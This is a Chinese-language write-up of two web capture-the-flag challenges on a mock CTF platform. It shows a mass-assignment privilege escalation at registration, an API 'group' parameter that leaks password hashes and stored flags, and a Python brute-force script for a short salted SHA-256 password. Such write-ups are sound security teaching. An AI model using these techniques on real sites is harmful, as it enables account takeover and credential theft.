Mystiz's Mini CTF Writeup
Mystiz's Mini CTF (2)
题目描述
"A QA engineer walks into a bar. Orders a beer. Orders 0 beers. Orders 99999999999 beers. Orders a lizard. Orders -1 beers. Orders a ueicbksjdhd."
I am working on yet another CTF platform. I haven't implement all the features yet, but I am confident that it is at least secure.
Can you send me the flag of the challenge "A placeholder challenge"?
Chilli Level:
在数据库初始化的代码里,我们可以看到两个 flag
都写在了数据库里,但是由于使用的是 ORM 框架,我们无法直接访问数据库,SQL 注入行不通,所以我们就得想别的办法来读取 flag
ADMIN_PASSWORD = os.urandom(33).hex()
PLAYER_PASSWORD = os.urandom(3).hex()
FLAG_1 = os.environ.get('FLAG_1', 'flag{***REDACTED1***}')
FLAG_2 = os.environ.get('FLAG_2', 'flag{***REDACTED2***}')
RELEASE_TIME_NOW = date.today()
RELEASE_TIME_BACKUP = date.today() + timedelta(days=365)
db.session.add(User(id=1, username='admin', is_admin=True, score=0, password=ADMIN_PASSWORD))
db.session.add(User(id=2, username='player', is_admin=False, score=500, password=PLAYER_PASSWORD, last_solved_at=datetime.fromisoformat('2024-05-11T03:05:00')))
db.session.add(Challenge(id=1, title='Hack this site!', description=f'I was told that there is <a href="/" target="_blank">an unbreakable CTF platform</a>. Can you break it?', category=Category.WEB, flag=FLAG_1, score=500, solves=1, released_at=RELEASE_TIME_NOW))
db.session.add(Challenge(id=1337, title='A placeholder challenge', description=f'Many players complained that the CTF is too guessy. We heard you. As an apology, we will give you a free flag. Enjoy - <code>{FLAG_2}</code>.', category=Category.MISC, flag=FLAG_2, score=500, solves=0, released_at=RELEASE_TIME_BACKUP))
db.session.add(Attempt(challenge_id=1, user_id=2, flag=FLAG_1, is_correct=True, submitted_at=RELEASE_TIME_NOW))
db.session.commit()
可以看到,初始化数据一共做了几个操作
- 添加了两个用户,一个是
admin
,一个是player
- 添加了两个题目,一个是
Hack this site!
题目已经发布,一个是A placeholder challenge
发布时间在一年后 - 添加了一个提交记录,
player
提交了Hack this site!
的flag
观察源码,可以看注册的时候,直接把整个用户表单扔进 user
对象里
@route.route('/register/', methods=[HTTPMethod.POST])
def register_submit():
user = User()
UserForm = model_form(User)
form = UserForm(request.form, obj=user)
if not form.validate():
flash('Invalid input', 'warning')
return redirect(url_for('pages.register'))
form.populate_obj(user)
user_with_same_username = User.query_view.filter_by(username=user.username).first()
if user_with_same_username is not None:
flash('User with the same username exists.', 'warning')
return redirect(url_for('pages.register'))
db.session.add(user)
db.session.commit()
login_user(user)
return redirect(url_for('pages.homepage'))
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String, nullable=False)
is_admin = db.Column(db.Boolean, default=False)
password = db.Column(db.String, nullable=False)
score = db.Column(db.Integer, default=0)
last_solved_at = db.Column(db.DateTime)
利用这个特性我们就可以在提交的数据中加入 is_admin=true
字段,然后注册一个管理员用户
拿到管理员权限后我们就可以使用 API 接口来获取所有的题目信息,拿到 flag1
Mystiz's Mini CTF (1)
题目描述
"A QA engineer walks into a bar. Orders a beer. Orders 0 beers. Orders 99999999999 beers. Orders a lizard. Orders -1 beers. Orders a ueicbksjdhd."
I am working on yet another CTF platform. I haven't implement all the features yet, but I am confident that it is at least secure.
Can you send me the flag of the challenge "Hack this site!"?
Chilli Level:
对于 flag2
,由于存在数据库中的 flag
是经过 4 位随机数加盐后的哈希值,在不知道 flag
长度的情况下爆破也不现实
def compute_hash(password, salt=None):
if salt is None:
salt = os.urandom(4).hex()
return salt + '.' + hashlib.sha256(f'{salt}/{password}'.encode()).hexdigest()
@event.listens_for(Challenge.flag, 'set', retval=True)
def hash_challenge_flag(target, value, oldvalue, initiator):
if value != oldvalue:
return compute_hash(value)
return value
于是我们把目光转向 player
的那一次提交,在 attempts
表中的 flag
是明文存储的,并没有进行加密,所以我们可以通过获取 player
的提交记录来获取 flag2
既然要登录 player
,那我们就需要知道 player
的密码,使用 API 接口可以获取到所有用户的信息
但是我们在返回的 JSON 数据中没有看到密码,关注到 API 的源码部分
class GroupAPI(MethodView):
# ... ...
def get(self):
# the users are only able to list the entries related to them
items = self.model.query_view.all()
group = request.args.get('group')
if group is not None and not group.startswith('_') and group in dir(self.model):
grouped_items = collections.defaultdict(list)
for item in items:
id = str(item.__getattribute__(group))
grouped_items[id].append(item.marshal())
return jsonify({self.name_plural: grouped_items}), 200
return jsonify({self.name_plural: [item.marshal() for item in items]}), 200
使用 group
参数可以对返回的数据进行分组,而 group
参数是直接从 URL 参数中获取的,所以我们可以通过 URL 参数来获取 password
字段 /api/users/?group=password
由于 player
的密码是随机生成的,但是长度只有 6 位,简单写个脚本就可以给他爆了
import hashlib
import itertools
# 已知值
salt = "77364c85"
target_hash = "744c75c952ef0b49cdf77383a030795ff27ad54f20af8c71e6e9d705e5abfb94"
# 暴力破解 6 位十六进制字符串(000000 到 ffffff)
def brute_force_password():
hex_chars = '0123456789abcdef'
for combination in itertools.product(hex_chars, repeat=6):
# 将组合转换为字符串
password = ''.join(combination)
# print(f"尝试密码: {password}")
# 计算哈希值
hash_value = hashlib.sha256(f'{salt}/{password}'.encode()).hexdigest()
# 检查是否匹配目标哈希
if hash_value == target_hash:
print(f"密码找到: {password}")
return password
print("密码未找到")
return None
brute_force_password()
使用账号密码登录后再使用同样的方法 /api/attempts/?group=flag
来获取 player
的提交记录,拿到 flag2